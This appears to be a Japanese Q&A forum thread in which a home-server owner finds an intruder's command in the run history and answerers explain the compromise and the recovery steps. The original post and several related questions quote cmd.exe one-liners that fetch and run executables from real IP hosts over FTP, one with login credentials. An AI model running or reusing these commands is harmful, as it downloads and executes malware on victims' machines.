• 締切済み

サーバーが知らない人にログインされています。教えてください。

家族で共有している、ファイルサーバーのようなものが我が家にはあります。 住んでいるところが違うため、ダイナミックDNSで、ネットに公開しているのですが、最近「ファイル名を指定して実行」からプログラムを実行しようとした時に、うちの家族では理解できない実行履歴が残っていました。 「cmd.exe /c del i&echo open 218.219.21.173 20002 > i&echo user 1 1 >> i &echo get 430.exe >> i &echo quit >> i &ftp -n -s:i &430.exe&del i&exit」 上記コマンドですが、たぶん、接続したかどうかログに書き込んだり、FTPコマンドを自分のローカルのファイルから実行しているのかと思われます。 何分、素人なのでよくわかりません、この解釈であっていますでしょうか? ちなみにこのサーバは現在、ネットから切り離しています。 あと、OSはXP HE ですが、ログインした人間をログなどから発見することはできるのでしょうか。 よろしくお願いします。

みんなの回答

回答No.4

>そうですか、それではリカバリーして固定IPを変更することにします。 >ほんとにありがとうございました。 ちょっと甘い気がします。 リカバリではなく構築し直した方がいいと思いますよ。 自分に被害がなくとも、サーバを踏み台にされたらあなたが加害者になります。 なぜ侵入されたか考え、セキュリティホールを塞いだ方がベターでしょう。 それがサーバを公開する人の義務です。

  • Toshi0230
  • ベストアンサー率51% (836/1635)
回答No.3

> 詳しくありがとうございます。そうですか~ DDNSなんでHOST名を変えて登録しなおせば大丈夫な気もすると思うのですが。 甘いですね。 ホスト名が変えられてもIPアドレスが判ればアクセス可能ですし、実行された"430.exe"には、定期的にIPアドレスを「親機」に通知する機能を持っていると考えておくべきでしょう。 それに、昨今のクラッカーは外部からアクセスできるPCを自動的に巡回して、潜り込める環境を探していると聞きます。 現在公開しているPCの設定をきちんと組み直さない限り、また同じことが繰り返されると考えてください。

yo-jiya
質問者

お礼

そうですか、それではリカバリーして固定IPを変更することにします。 ほんとにありがとうございました。

  • FMVNB50GJ
  • ベストアンサー率27% (411/1520)
回答No.2

http://www.wireshark.org/ 標準では、無制限で接続ログを取れます。 ものの本によると、侵入に成功した後、いろいろな仕掛けを作れば、直接くる場合もあるそうです。 http://www.f-secure.com/blacklight/ ルートキットスキャナー ただ、いろいろとされているならば、あなたのセキュリティに欠陥があるということです。 侵入者にとっては、接続ログを見ない人は大好きだそうです。

  • Toshi0230
  • ベストアンサー率51% (836/1635)
回答No.1

完全に侵入されていますねぇ…… > この解釈であっていますでしょうか? 1/3 ほど正解です。 以下の操作が行われています。 (1) ftpで "430.exe" というファイルをサーバからダウンロード サーバも誰かのPCに侵入して作られたものっぽいですね。 (2) 430.exe をPC上で実行 430.exe というのがどのようなプログラムなのかは判りませんが、バックドアだったりircのサーバだったり、どちらにしてもろくなものではないと思います。 > ログインした人間をログなどから発見することはできるのでしょうか。 不可能ではありませんが、痕跡を辿っていく作業が必要になりますのでかなり根気&知識が必要な作業になると思います。また、ISPに情報を提供してもらう場合も必要になってきますので、個人で最後まで実施するのはきわめて難しいかと思います。 警察に相談するのが良いのではないでしょうか。ただ、実害がないと警察もなかなか動いてくれないみたいですが。(この辺は詳しくないので他の人にも聞いてみてください) 警察に相談する場合、現在のPCは指示があるまでそのままにしておくことが望ましいです。内部に残されたプログラムなどが手がかりになるかもしれません。 また、現在のPCを、そのまま再度ネットに繋ぐのはやめましょう。侵入者に「もう一度入って」というようなものです。 公開方法も再検討した方がよいですね。

yo-jiya
質問者

お礼

詳しくありがとうございます。そうですか~ DDNSなんでHOST名を変えて登録しなおせば大丈夫な気もすると思うのですが。 いかがでしょうか?

関連するQ&A

  • Mac OS X Serverのウィルスの質問です。

    macのウィルスについての質問です。 定期的に下記のようなのが自動的に打たれます。これはテキストに書かれたものです。 環境はMac OS X Server Ver 10.5.8 プロセッサ 1.83GHz Intel Core 2Duoです。 5systemroot5\system32\cmd.exe cmd /c echo open 143.90.172.46 57864 .. ik 7echo user t g .. ik 7echo get hj.exe .. ik 7echo bye .. ik 7ftp -n -v -s;ik 7del ik 7hj.exe 7exit この中で、143.90.172.46 57864の最後の5桁の数字はいろいろ変わります。 これをどうにか排除する方法を教えてください。 よろしくお願いします。

  • 途中で処理が終了してしまう

    OS:Windows2000server AIXからこのマシン上のコマンドスクリプトをキックしています。 内容は以下のようなものです。 ------------------------------------------------------------- ECHO OPEN %FTP_SERVER% >ftpput.ini ECHO %FTP_USER%>>ftpput.ini ECHO %FTP_PASSWORD%>>ftpput.ini ECHO ascii>>ftpput.ini ECHO cd %FTP_DIR%>>ftpput.ini ECHO MPUT C:\DIR\*.txt>>ftpput.ini ECHO BYE>>ftpput.ini exeファイルを実行し、C:\DIRにテキストファイルをセット ftp -i -s:ftpput.ini del ftpput.ini copy C:\DIR\*.txt C:\BK del C:\DIR\*.txt ------------------------------------------------------------- 通常、この一連の処理は問題なく完了するのですが、たまにcopy以下の処理が 実行されなかったり、copyまでは実行されるがdelが実行されなかったりすること があります。 ちなみに、この処理は30分おきに自動稼動していて転送するテキストファイルは 通常きちんと削除されていれば0~3ファイルです。 このような現象が発生してしまうのはなぜでしょうか? お分かりになる方がいましたら、教えて下さい。 よろしくお願いします。

  • サーバへのログインなど

    VBで作成したexeを、あるサーバ(サーバA)で実行し、別なサーバ(サーバB)にログイン後、コマンドを実行して終了する。といった物を作成したいのですが、参考となる記事ありませんか? やりたい事の流れは、 サーバAでexeを実行-->サーバBにログインし、コマンドを実行-->終了。 環境 VB5.0 サーバは、WinNTサーバ

  • スパイウェア?

    PCを起動していると当然PCが動き出してコマンドプロンプトを立ち上げたり、ファイル名を指定して実行するなどに不明なコマンドが残っています。 おかしいと思ってから、spybotやadawareなどをインストールしてスキャンしてみましたが、状況は変わらず、最終手段としてOSを再インストールしてみたのですが、状況は変わりませんでした。 データ復旧用のHDDにウィルス・スパイウェアのようなものが残っているのでしょうか? どうすればよいか分かりません。 どなたか対応策がわかればご教授下さい。 以下にキーロガーにて残っていた履歴を載せます。 宜しくお願いします。 環境 OS:winXPsp2 対ウィルスソフト:ノートンインターネットセキュリティ2008 ログ [ActiveWindow => V^XN] 0:59:30 [RETURN] 0:59:32 [SHIFT] 0:59:32 [53] 0:59:32 s 0:59:32 y 0:59:32 s 0:59:33 t 0:59:33 e 0:59:33 m 0:59:33 r 0:59:33 o 0:59:33 o 0:59:33 t 0:59:33 [SHIFT] 0:59:33 [53] 0:59:34 [53] 0:59:34 s 0:59:34 y 0:59:34 s 0:59:34 t 0:59:34 e 0:59:34 m 0:59:34 [51] 0:59:35 [50] 0:59:35 [50] 0:59:35 c 0:59:35 m 0:59:35 d 0:59:35 d 0:59:35 e 0:59:35 x 0:59:36 e [ActiveWindow => Windows ^XN }l[W] 0:59:36 [RETURN] 1:5:37 f 1:5:37 f [ActiveWindow => V^XN] 1:5:38 [RETURN] /*--------------ClipBoard Start-----------------*/ cmd /c echo open 220.130.37.43 21 >> ik &echo user B0t _A159753b >> ik &echo binary >> ik &echo get PI.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &PI.exe &exit /*--------------ClipBoard Exit-----------------*/ 1:5:45 v 1:5:45 [Ctrl] [ActiveWindow => Windows ^XN }l[W] 1:5:47 [RETURN] 1:6:30 f 1:6:30 f [ActiveWindow => V^XN] 1:6:31 [RETURN] /*--------------ClipBoard Start-----------------*/ cmd /c echo open 220.130.37.43 21 >> ik &echo user B0t _A159753b >> ik &echo binary >> ik &echo get DB.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &DB.exe &exit /*--------------ClipBoard Exit-----------------*/

  • wshで起動したコマンドををタイムアウト終了させる

    たとえば以下のようなバッチファイルとvbsファイルを用意して test.batを実行した場合 ftpのダウンロード処理が完了した後 ダウンロードしたファイルを処理したいのです 以下のようにすれば処理待ちになるのでそこは 実現できるのですが ftp.exeがなんらかの原因で稀に終了しない事があるので そうなるといつまでも処理待ちになってしまうので タイムアウトさせたいのです ftpコマンドをあえてquitしないで(終了しない状態を再現させる) WScript.timeout=10 をいれてみて試してみたのですが タイムアウトが有効になりません ftpのプロセスは最悪残ってしまってもかまわないのですが 起動をかけたバッチファイルのほうは永遠待ち状態ではなく 一定時間応答がなければ次の処理に移したいのです 何かいいタイムアウトの実装方法はないでしょうか? アドバイスお願い致します test.bat cscript test.vbs ←ここでftp.exeが終了しないと永遠待ち状態になってしまう rem ftpが完了後に行いたい処理 exit test.vbs WScript.timeout=10 CreateObject("WScript.Shell").Run "CMD.exe /C ftp -s:c:\cmd.txt", 1, True

  • サーバー間でファイルコピーしたい

    WEB上のレンタルサーバーを複数使用しているのですが、それらの間でファイルをコピーするのに、一旦ローカルPCにダウンロードしてからアップロードするのは不便です。 そこで、ファイル名と送り先のサーバーとユーザー名・パスワード等必要な情報をインプットすればファイルをコピーするようなCGIを設置出来ないかと考えています。 Net::FTPを使えば出来るのかな?とか思って #!/usr/bin/perl -w use CGI::Carp qw(fatalsToBrowser); use Net::FTP; $ftp = Net::FTP->new('サーバー'); $ftp->login("ユーザー名", "パスワード"); $ftp->get("index.html"); $ftp->quit; exit; と、やってみましたが Can't call method "login" on an undefined value at xxxxxxx. というエラーメッセージがでます。 同じスクリプトをローカルで動かすと問題なく動きます。 ひょっとして、サーバー同士ではファイルコピーは出来ないものなのでしょうか?

    • ベストアンサー
    • Perl
  • FTPログインの日時取得

    FTPでログインした日時をスクリプトから参照し 各アカウントの管理に利用したいのですが、 利用できるコマンドやログファイル、FTPコマンドや サーバのオプションなど、また方法があれば、 教えてください。 シリアル値で取れると一番うれしいです。 サーバはProftpdを使っています。 よろしくお願いいたします。

  • ftpのgetが正常できる方法について

    約100Mバイトのログファイルの差分をとるため、下記のバッチファイルとteratermマクロを実行させました。 やり方は、差分をとりたい2つのログをfptにてサーバーへ転送し、サーバーでsdiffを実行し、差分結果をftpにてとってくるものです。 バッチファイル  echo open xx.xx.xx.xx > "%~dp0put.txt"  echo abcdef >> "%~dp0put.txt"  echo pwabe >> "%~dp0put.txt"  echo put log1 log1 >> "%~dp0put.txt"  echo put log2 10g2 >> "%~dp0put.txt"  echo quit >> "%~dp0put.txt"  ftp -s:"%~dp0put.txt"  del "%~dp0put.txt"  "c:\ProgramFiles\teraterm\ttpmacro.exe" "%~dp0sdiff.ttl"  cho open xx.xx.xx.xx > "%~dp0get.txt"  echo abcdef >> "%~dp0get.txt"  echo pwabc >> "%~dp0get.txt"  echo get kekka kekka >> "%~dp0get.txt"  echo del log1 >> "%~dp0get.txt"  echo del log2 >> "%~dp0get.txt"  echo quit >> "%~dp0get.txt"  ftp -s:"%~dp0get.txt"  del "%~dp0get.txt"  exit/b teraterm macro (sdiff.ttl)  connect'xx.xx.xx.xx.:xx/ssh/2/auth=/user=abcdef/passwd=pwabc'  wait'$'  sendln 'sdiff logl log2 > kekka'  sendln 'mv kekka kekka1'  sendln 'perl -pe "s/\n\r\n/"kekka1 > kekka'   wait'$'  sendln 'rm kekka'  sendln 'rm kekka1'  Sendln 'logout'  end ここから相談です。 ftpでgetしてきた差分は、ログの頭から3分の1程度しかなく、全ての差分をとることができませんでした。 調査したところ、サーバー側はログ全ての差分を取れていることを確認しました。 なぜ、ftpで作業結果をgetすると、3分の1しかないのか原因がわからないまま、試行錯誤で対処方法を見つけたのが次の方法です。 方法1(teraterm macroの変更1)  次のようにwait'$'を追加する。  sendln 'sdiff logl log2 > kekka'  wait'$'  sendln 'mv kekka kekka1'  wait'$'  sendln 'perl -pe "s/\n\r\n/"kekka1 > kekka' 方法2(teraterm macroの変更2)  次のように20秒のpauseをとる。  sendln 'sdiff logl log2 > kekka'  pause 20  sendln 'mv kekka kekka1' 方法1も方法2もタイミングを取るような方法ですが、このやり方で、なぜftpでgetした差分結果が正常(ログすべての差分が取れている)になるのかがわかりません。本当にこの対処でよいか判断できません。 どなたか上記方法でよい理由がお解りでしたら、教えてください。

  • プロキシサーバー経由でftpのgetを行う方法

    社内LANからプロキシサーバーを経由して、外部のサーバにあるファイルをftpでgetしようとし ています。 方法としては、定期実行するためにスクリプトで下記のようなテキスト(ftpcmd.txt)を作成し、 バッチファイル(auto.bat)でftpコマンドを実行する予定です。 <ftpcmd.txt> open xxx.xxx.xxx.xxx user1 passwd1 ascii get /logfiles/todaylog.txt quit <auto.bat> ftp -s:ftpcmd.txt ここで、質問なのですが、上記のような方法を用い、プロキシサーバー経由でftpを使ったgetを 行うには、どのように行えばいいでしょうか。または、DOSコマンドを使って、行うことは無理な のでしょうか。その場合、ほかにはどのようなやり方が考えられるでしょうか。どなたか、ご助言 いただけませんでしょうか。

  • SQLファイル内のSQL実行ログ取得

    すいません、教えてください。 以下のようなCMDバッチを作成しました。 TEST.cmd------------ sqlplus -s ID/PASS@DB @MAIN.sql 'SUB1.sql' 'SUB2.sql' > MAIN.log echo %ERRORLEVEL% MAIN.sql------------ @&1 @&2 commit; quit; これを実行した場合、MAIN.sqlの最後のコマンドquit;の 実行結果を返してきているのでしょうか? SUB1.sql、SUB2.sqlで失敗していても%ERRORLEVEL%で0が返ってきます。 MAIN内のそれぞれのsqlの実行結果ログを取得することは可能でしょうか? SUB.sqlの内容はいずれも単純なMERGE文です。 識者の方がいればご教示いただきたく存じます。 よろしくお願いいたします。